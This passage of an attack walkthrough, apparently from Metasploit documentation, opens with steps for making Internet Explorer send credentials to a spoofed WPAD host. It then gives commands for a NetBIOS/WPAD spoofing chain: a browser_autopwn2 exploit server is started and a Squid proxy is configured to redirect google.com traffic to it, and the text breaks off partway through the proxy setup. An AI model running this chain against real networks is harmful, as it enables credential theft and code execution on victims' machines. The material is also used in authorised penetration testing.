1. Make sure IE automatically detects settings (under LAN settings)
2. Start IE, as soon as it opens, IE should try to authenticate.
If the spoofed name has already been cached, you can do this to flush. And then next time IE will
be asked for credentials again.
```
ipconfig /flushdns
```
**Arbitrary Code Execution Using Targeted NetBIOS Spoofing:**
The following example will spoof WPAD and causes google.com to redirect to an exploit server.
Step 1: Start the first Metasploit instance:
1. ```rvmsudo ./msfconsole -q```
2. ```use auxiliary/server/browser_autopwn2```
3. ```set SRVPORT 8181```
4. ```run```
Remember the BrowserAutoPwn URL, you will need this info for the proxy configuration file.
Step 2: Install [Squid](http://www.squid-cache.org/) Proxy server (or [SquidMan](http://squidman.net/squidman/) if you use OS X), and edit the configuration file:
First, uncomment these settings if they are found in the file:
* http_access deny all
* http_access deny !Safe_ports
* http_access deny CONNECT !SSL_ports
* http_access deny to_localhost
* http_access deny all
* always_direct deny all
Second, add the following (make sure the change MyNetwork setting, and update the BrowserAutoPwn